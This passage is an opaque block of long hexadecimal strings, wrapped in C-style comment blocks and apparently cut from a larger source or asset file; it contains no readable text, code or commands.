48aef8dd44c0c53726ef1ede11c9e7bf8310e2f2218e1db9fbc309edd00298b047292b2db480dcd8fcff340cdeb44258715bbbaefb282d0cb429ef708ac209abf9588c9876e6bb6cd56161f7106991200a5b15dc88cf4f07c97149620c04442c7830ca86c873575e8ccb982b5593203238355ad04d474a5efe5f6cd12a301468b8e32d183ef9f7ac784dbc25e5f57b653c68c31b0c484bad0ae8f265abba78e957bfc5c2d8bbacdba14dde58684f6e8d9a2824a4966b0b689a801fa2a6dd719f15610f4d42845397998699331984e6c8c5a09490c5b079d210bd6cb0beccea6894b13b1d3cd663a67bf9b32819b544d75ff816b4f4699332eb26c07a45b508a01ae9fa6cf36064417d1591facca2c2a70ae2c63ad11d6dcef772a8cb505515a8401245e50564eb9cedacd5be5673ece565e2577d5cf3a484fe066b35db4924161e589d9888d5073898c1824079d540048a765fb648725242c08dbc1c04f01d839b2dacd23544ab498de7ee363cf30d849114770adafaa12ccdbc620a69e2b4b7b73c0c7d080323cf27426e6212471e96892ca961f9fda278411908eebf488a3e2db57a0c5b6767a8e6060cac55530ad4081fbd6dca031c90b8e3b4eb6792ec427320e3c33809f04c86df3886417184ffc4c391facbafb7d937dd1c480236b981024b3ed321dfc43c608d9a5fdadbc359cc315296321aae7f78e3dc5527f7e44254e5273b1c74628be21d3605f348d7210ce720c59001141e6ac8a58938fd8b6adfa41df319d6c6a15d1505afeebd66710f9b1972526db3f97bf8efb27f0bb5389b278ef91b9917c16f65dca6cbf3c995e921e9dc24032ef3edf8868f42cda3f658afdebc6e0ac34f543ab6681dcb7c2bf399315e3d43e8d920a7f0b1fcb99d4c81ce4bdbc9d53badc19177dd21b8fc7031b88611a2ef8719a7012c2ee27804f65907d56cb7b63f494ac0a67af9e5b9d98c85fdbfc05b6b6988af62f0df2963b5879d60e37b1bfb793d4d95d84b33dd1416e1245ea83ad68754ad7a78d161a8fd607e04785e57a954fee40120902ac443c5fa7476952b9ced0c068a77e9892144555d74d994fe91a0e438f81bbc757cde6bb4f2bed0bc2c97d3459f0d3bd7f994ae71fb35f7bab347584f14b4aa9d57d74ec8f4f0d1f23e60cb6e8eb682dce3af47e7c6a522a0e45a6503a8a616e2251263f37eaedaf45b80a22896a5a500aecfef1b549afbba6567797d1f2b4ed957605c6686ba75369b21c1d878126ff5ababc144558e32cb51837e98617fb726f7e58eb8faa5c2052c47f2e24e15739dabf7f68994e1fd328157cd0dcf79aaf8c55df0e7ed44acd8243217e1ff0e2f5a5bb8ccb*/
/*e6e5870daa0385a056e6f8f3414a416658086be277789fb0d5b2c8313a732f8b18aac5cf52f1b697e62844aae5981f6109d8c890bb55f88ed36aae179ab8d44fc8e2a48926974400afe9bc63946a5968e893b4f736c9fe31a9586a4de9b8415013d27858776616b13c99e46b174a09126375a1a8c7a3e5cf3b9c4b316aaa71e0089c5108cfbfd33a08cb70b22ed9e0712c348010bdb522064861b49b4bcc81dd4d937b198a9fcada5716b96e372b3b29ee28b79177333dde50112d70e86aaf8400c12b7e08292e7ded4d6249e7372cd3cf60209d58ae8b5b53ced854bac6b8d125f7149715ae8518987c1d9b2294b0635fc46b2355f7ab909d5e7cc6dc226885cea1d592abd1a12be24d5fc0266385fe1ad9342a18b2d6513e7e97c6d970ee9e7a6401f9d80e1d22fbe49fb57726b1c0859a66a3c75f704d19fb357644b3f2b0f1133ee2fff2af0cf3085f93c9ed9ee4fb72c22c24f72be07939b64d6214abe0fe5ebd55ddcd5d74335d353f92ab0bcb954b96a9cf141b894db03a2062aca850fc461c8b542f69870e8c0dcb7dfe3526e5bbb542fcd2dcc3a4eadbf1232161fd2dddbc9795e084be14f6f56ec1825a39d3384e5bda3d2c9f3fb1c361fa40510950a31ccd8bbd5a6429f899114a0af62ae62bdc6c85ebd018ab513b5dd1c9e254923384a7c82c542f794cdf31411859dc619ab729ec6949a94a80e01f8210460c14976f4413794634601c0adca7e3c5fc3aee067176e6467c19e600c7e78ff581e6b614d3e455c08ac24b9bced9357fdac801d6d9de096bd38ccde06fc39d20c1f65f2e480b1bbb59346aa27d16697ef1038875a5c765b73d75bd9c833ff64730b91706a4ccf3bce792396960b1d4c5a355c27065d3e241d5fd999512be5db7ad518cdcdb0024d9a4f625e791fa8fd6d6079a4929dfa924fd5c7f646a9858728e48393b8b20928ea36b14e554c110f56e5709a470abd57e98e5114c2e85646763d750d8925ff398a2f31032432d0025fd0b5d10d3a22ea68ae051557b01d1d357cec70c71d4ed5bf69dd60001a2c07122ea2cc6953b23915bcd829bede6e0070b3c347b7180ece5e32a6c192c0d7a842d8962154ac307748f4b64eaadbf25116ffa9ac1349acff077f12c4455fef377c6e95a35c51bd189ea6c16975fafa5bdbcbef2225d42ed82ea8f86ddf003719f62e8d8232130aa281df75aa17cc5d9516f3b7c934a03a7cbf7e8ed008791f03f8a8833afe67f806f690179daa3e64a9f2b709e954c677716c1ceea54ff2b3bbed33d8a9b2888d586afbfbd0daf9c6c7ca46b8ab38fc9199749e05b3bc4403432d289a247afad786ee367d100ef1325972ba66acf96605b35ee8876f9a1c438505efc843884846c2e1189d7ca43d8b41165b90c34a52b012a55673ec6c9d852df2150ffc6d55b497ba3a458622a2e28935e31dec9af7a5896bc3378bd0bfcdefd096a29756b3d149bb3e27068d92cb54704fe218725448427f87a7a92248e29bb954aadbc400f773452e88efa128e0ea789a9707f248124bec767b6b93bf3e57da19b3bc643b6fd5a0843c13332d83061a2d9039cfb4918530de253c51c422482cd801c816d7d61451874444f832416b474705d25e0e099d74b039ae9b218a5dff9fb2bbc2872ada6f24087fd40d9502500a3a4c52b21259aff6d0810db03263e36bfbb5947a394032e7a830dd08c7fee2dd1b1cf8f18583d2755232b3ccc88b9c334ca5c4cc7570b8b064d92f6a1c3b4191aefd7f93bc54931c98c991184a615b577a3c5540f0383298ed806e43a215c31524d2d28dd7ea77d4a990d8841570f32ec08cd20dde4fe7a881d79b3805efa1b060d03a4a2ddd0a63c8f6294867257fc41896b683898f6f9b88276a07b28c8bba35cbd326ad0801afdacfc38d2207972e8505cbe75feca9a1c6446c26228cd2e95e7bb25c4489f48ed71cf65a6cbcd70907dea73a69429eca4619b72498afcda37fb562c2de1ea8a03745b92d65eb04527bc2a73771e56b934b1d4418f166ea1bfd5335994cc435760b87a895d71889320f42ac4f339813dddcc25277113799ae942d39d6ecac618137ed33beaf10c5704a93c6429a6ee00f39897b7f5a5505d11feaf09100e2358b5292e7bf12adcbce4deabbc2b8052e779ec1af253de6d83f46727f400998d6e40ff71cecff77aa6d5d75c684171eaa6cb3d96f91dfeb0415694f801470db658178b5a6e41644c9f5978c18f93f9f7e26891951008b2c10fb489b3c45a2435e0e2cd36131ee3d594950e2192d2e0766b71fd8bc1d5cd7bc7b8982a9cc4042868e2d6d256f90233d64f2543ae5cd460d79451a93f9edfb090010a75ea01c74e03a610878cfc9f77ad1c6e09ce4a7949742d0e991769d0c7560bae1cd194afc50d711f1a72086d5ae9353b8c8513d7e20a917b3c8380a135f45c9c601743748c304904cff113525d8fa9eef012117eb46ceed4d29c062d8ee94974b90b6b752a758f311df7a3f0610fd297ab3e04470d4ccef8d953e0b1cdd24abb5412c08ee2ccfdb7b7366197c510aade3e5029a5f9a793c2d82fa5a88b809d65447001af896b2aaa930a37e6986c03a7605aceee204b4c198d69261cff5e8179c27dc804c345a31b40708433ba8ba921780b6c002f88a356af8ace4a16af8ba4321d0b34e46d5f9f9b5565e3c02e0366ac4e6579a0ae25b30076edaef35e07065d16641ed52addfb741da5ea65bf6339e48408e38119ef47048c3f9870eff8a46a72a970bda484117b32ac2beab6a119c57170087b0f91f3d2abaaacdb73d3ef9fb48096eddb714eb529e0c10677*/
/*2a167382d2f3227cd8ffdf849e9f36a77e2ae3647f6eb2615081559d3287a1246704fcc29ef82a47c8a5c53ab64ee238f4d32e059398ff83c2a7d9038abe0dd1d24ca9775c92e52abb133dc64f0424d0713097ad10c43beef379cabea6c2017680760ca0343ff42bd3c02f9f39ca5757ccdb087334c768626f3beac90f4d41f753c050bf5932d402b01daa380655f404aea8bc8fa4b319f67d980e919a194fc5ec344e8a128ad6d7dc30906ca5dd23a574cba0e11323981727a7865c79642b5ec69f75e233279d18b53f75b21e42193034b8474ffac1acd5c2ec7b089f42ad3ed231613845a5de21e38cb1589ddcbaef7db27bbcc6c2ef5800fc05abf103f76b406ebf57c135b49eae74b84948bf8513ac415ed9be3122ed9d9a6b2fc59d7198989771b013f50d6cac5783f35e3d107ec329b9037daa2f6927911670b95507ab7fac1130da0346c207b3f82fff8dc613f614529ef9eae9d2842053da4ed00abe3a9d0e4f2c1e4fa4099184992592b82982834c890ade043a10a084297b1d52e7a9c0ae77c354c0c22135b3278586c018d670065cb9851aeaac962ec3649a14c5315c405ab8f32adac520763692c9879149e3365fd5ca3a37ff425e01fe16a368b8758d008eef030c82fcf757f6ac693a8c68dc19291b3142b40b729fd0e5c6db908a34a326781b3338e97d3dacd8d09128eecfd436472f822807c19bcef7257f12bcdb3285cfadbd936ca047dde7017d1fd45d3e27442f840961f43b57700c890ea0a53061f6c8a32781b3a24f916a0ca007fc598aa3db88a0a454c82d5769de8bffb87826160d240897e1613b95b84d5c2704d36aa491c163db919a0b54ff58de2a5bbf164b812426612fb9fb54cace473d753ee559fbe7e1fb03e01a18e6707b972b9518b9ec75ae64c3fc2d41f27e0143446d93c14bb9163c1dee478ece50dd346268eae2d417e588293f9d4065f0eb6f143c98dbd6ba5d514a24fbfb739a5d7a670c3fc6004022edb8ea34eb0f3b1eda5c039f664e4eeb3ff87b624a7ae33d13c950a80e16bfeb258e88b6d8cc4b50c28d0f2cafda7cdf3643431ba9934598a5084881ff4a5ad409dd129ea6614d3958f275a0bcd57fb2f706d899814d6db4857ca6795eaeb90ad8222acb65f082aa3666adb15c7db0a0e7e69eb111218b3afc3582f5f07e07beddc2470bbd101816a5611cd1b98301a67320f5402eb15e583f69f2423f61e01ecb1376bbfacd715aa3b5bd3be835a650f47dc66589c206493e42f4961dfc2aed5c4eb9396ce622c6a654866574fff4f51212bc38b1953b7beffaacf7c0db2fe3531f7a6a1fd61b94b3465062161c7b6c3ad32d3bc83e3381f471477235a5b209136d555aacc364ebad087095800b4f4b6db5573f616573bb357dc809968c3d9ca5df6f8fb50e6a18b016bf9c01bcf0e15a5e4949e2e56354136c3a545310d708c9459b9e5c96a4ae5e137c6270e37d7215b0d1a88ac243f1151be8a7a226a6018394909231cbb50a2db34cc70617d52bef8032edc1b73f91769c9a24041aa4fb8e7ee280266371f809db99e0c10eaac70b7cdc580ecfbe43320aa77ee8c4a64eb836755321d2cb4a602eedaf44bd0e61f42015c9e3404231c94de95fe7af3902f4107f7d7cbfe5de2de07b87d069a4563dc60a8bb6bd07449cbf638dd3a20fa3e5a4282d78a3c3b6a07e57bb54b56a179f93c53ccbe43c5ff73e57ffc1e9b966b5328bfb44ae3a6e74c20cb6cf911cdfb37b085e556c0ab93a93d9168e9a51cb57a76a0d7ebddeacd67c72c438b6493896c171149825031737f46e8f913fd314b2683611a426f58456d572f554c7655c33e7c74e29be2c0d73fbbfd0205ae5759e63909f10652bee8be4b2bb0dc9fba538e54ac0468d0a1cbe3e7cd52b8b4ebf622db0d714d10218e4e15df059af1eccc2f9dd8c55471a281f57b222b5d964cca3fd285ee764cd9c61ce732efd0f39061e4dce8610055f6a37873128726438731cfb8ddd568b91abd4c193fb7a0a4e4e1fd44f278d4967b1f8e02cc2cdf8c98d24f4a9995b1ccf1c3ae72b0235691d39acf939ee74518a59781567ce4766bdd94c9369cf9f35f74c545c0e83a9949c9226213832487b9bc83793b0c1cb74f4b08c82ed8f57af184bc25b498273d373ac7fc0b3e0f7b12dfa98c53ecfe226591330c37a302c61bb5345a9dd95e044269a6e4bca2bb74c6c15567b4969023365c3d465d62100de169dbe6225ba8b04890b6bddfc58b925ca08ec1bcd228308413357a6d74843c8e0f776091b99d6b3402047aa467426afb914f9200a14318c0e73c83dcc2f0b3636406b0b6eea2d65232497a4387d501fbcbbb59177809c326981b3b42458373952c9cad179f3d8f9b37e83ddb5a188099cf65832b744b5acb11295d75137d095d44b8fffc401f2e3bc5cd492fa1104b3551af549b5bf1d9a7b966744070e1b7a067a561264fb43a2be3749c6261472e763385061d073dc878f0e1e9d2dab710a45c30eb4fe8474aeeb2f00f683f0b5460c7df76f1276c9a244fd8acd6c40cf214eb176b6ed4893fc62fa740e6956617c54a1e7cc68cf1e00f17cceafc6801856be0b9e721a29895e65d54bdec363527a80c9e9b99870e82cc529f32f9fa3de25df80b90e9652155b8043952a9b904d49c8a552e5e112273d3be850101e155b1a588204d06af2bb3d541c878aae1938733eef53e17002462fde5098439a7984da391b16ae8083b93c889abca46f8970dcf46e1d9ad68f5fa9d5923bff297798db34e6d9b34a6c6193316ae3d398c53e97eee0c55044a89a45380520484c547b7580*/
/*7ae53a4c6e28ce280dccc9f116a7899e32376fec9c6db45f6933106e79f85974516359a3cf6f6b0f1030a69c301dfc6d01c51d37ec508f4fe5e7b1f09032a341a38b9eac77d32e1e7b49fd235da095e8f188215799ed1464fbf0015b105c0dd6c11af13cd4d8d7bea5b74eb16b679ec489b1b66a3b19d1c318a66423ab99789383a4f60b8ab6841cfdff46f9cae9e1a2c0681742a3f09f5c7a6e99094eb121b26ca9dda16fe6ff1808cc8b3be3b7b7aeb3ba90d3fc04249c42005688d87d531413ba6f6042bc826b77b4bfb603e03297b81765b59db9d578454a81e559ac10f898263f217a269552e15b54306276e42de798079360aa494aac0ef5bdb81ddcbdac5984bed9c10faa0ebcfc0b0b284e021ea8ba1026e19636e799d42f3c51c50527c3f537dd11a5fc08a9e05c0380403ebd67bfba21918281170ba7e4351bab28f00da2ef82d6dea47f044aecd010f625bc97ea75185e00623adf4027f7f100a2ca26730b1569b78d462055802c6a3f091b318b06e53c5d2a07130243bd0133a2eb47b0b4015dcc9c44511c9c2a1bbb39b72fd14d364fd2934f3a8230fc6e36f5951018a9c99148a3d6b2859ffda4a2da527568939b43f152287d98975adb3a4141355d40ca83d29749bde26f050a3b58094e2c3da9bb6ce92aecd7e630fda32f1ab21b8883009274698510cddbc02741869cf9a5107761ce7f7216b2286aa409af78d8003f74753b5eeae587cf63a8009b9356ef3c423f52d27ecf0907dbde2e83011b30514db46d649c8bb65217f774561fdf0e359eee5c00242df7611625d239775cb80e60ed64d6c6c1f024cd8c2b94bc187ef47e5657f82d66507305928235d0b2cc7e4f151a64b380168fca84b117a44adb92010de07690dbed93a34f05b407fbda4579d75f8f51a5b4e24a81c31b6dc9ba829a75ccf021df20abb98f73ecb1ff6d114130353182d7efd4f58c0a0914efe2384e6f71851b015f167943e8e00ceff13c4111dfa4a88d790485f283c1a1083575e19dbe9e01729a971b46c8c60b5a0ab68efffbbd384e9538f405d26c03090334893cf3d287b5df775e2d0f976953727436716dd0523d36d5e075add491b90df568b9bfa370f09dfed5263e8220faba8ec50527247e04135fea263b644ecbabf8b2ba4ca5ef75730199071d55c412789f976fe0a396d0692aa6780010759050129950a01a11a042b589db7a602e903fe24594c2e70b2a254b8e382868fd595caaea320db30b6c98912b776283a5cd9e3390349557ad62f6df394c5dcc4ba4f153ab62c4a21da31fbf80fc947daa72303c4d963cfd1eedce4262a96c6648cad3d546d52135fc789fb3aba8886d78d702fc45f246816750713a812a88525c13441ccf6d4f0f7ed9aa5e60615ad0b03d969a0471a309ee9ea71294bc0b5dafbe71e9476da956ab56db7f7b193942cc0564e7a8761284849878a542a51e6a4629ad587034707e57aa3285225be5e378e177561a5ffffa725a1668a4260173a74318496de54aadec30662572d3a9dbc7cb2646fba2dc85d620e0f3b67e75350c05c0361ffc77e8341bd6c7b9d4f9de8830c8cb1cbb8157b4efd17c61566d37777822b44eaf93eb5ed6c653d81eda46f47303582672cdffcb8e9af482e8d870ae07a3f57fcc77fdafaae57d79f4144a6d61b93cfea369c10454e7240a133c829c9e312cd859821e016636622801506ea1a488d4900120cbbd3c3044bc9fab700816f139d923c313e1452ee65218058d989ce10042b1350f923ab75ad7bd813b0fe47d869c58d951cf2f099d9123b22d15bc276882c13595d7c079ff8dc9758526f86266157c6190113e77c3d8791b2870d4ca75eb4e090ba25f2b370750898523ae50f037ed5d4e39a800b2af82ccbab9a3da7ef25b99a8c904c4760ebf41779aa7375d873cce8067a4a7038042bb8007ba316e3614098a1437307d9acede28c1e18b8e98d32b5c1101202e15652f981ed8b6ea74c327cefb701e22ecd51a202ed5e48795856c59cd4294dc73abd3bc60584e1d5be58116572fed68530db8a6f8907a5a4995f0203a7cd055d10a102c79f737dad752de7864f9c08898028f2f8f28e36f453a3ea9e3c846a6ec11481fe4c1638d8589c1a89d2f514b36cac3cac9d4c34605ce00c9c9ecaced628585342c9507a3f5fefc779b2a99c6919e3771fd245472f7a7ea2b58953576da07db5c08c90523a7a75c96c3667851ece95c3f7600e82ba818cf58c22659ad912a5da080f4b91e707687b892a81524dbc8365fb20fcbde35429f1aa7d32d5215f8449c72dba6b272f98ffe72a97d42f841411028b981b7bc1bdb2387fd6c66e74abcbe672753f6cf1ac2875c4e8128d5b9f7b47fbfdf6d04e97b2a88a45356ee77b28fda7b2ef8eb713f03107083d70be2d7c1c08a80acadb4ca9cd349e8dd1c4d66411827c4b0f76ac441299b0886d45e64498ad486e2c9e690ffcce0596984277e7a8b544e8ef0461ba38cac016362fde8bfa2665af49eb17ae26304cc72f53699e579868b3ea0fc55f340e115ba2c918f3c0e3374dce6ad4e4e97dd20024174ab1ba6a112d2e90e1f2012b7931e138b445fb547761434c09d7e241ce384cab0471ccd85515103dc25e6e38a98f5b28516e2d443759602e51938b36f1de8c354e50abd96b4934911241b5f24be0dab7aba7105da6d69d4435abe359f0896e9c8e62525437a7b82c795f597017542a494ce492b5c4168b8573e6d8bc4aa7c2324f3b5c4b2e8178e2eaf36dd3a85166d721786c2d0b3334f6e056125fc46888ace3f29c3c5572d3ece0c1afc2390d2d9bdac*/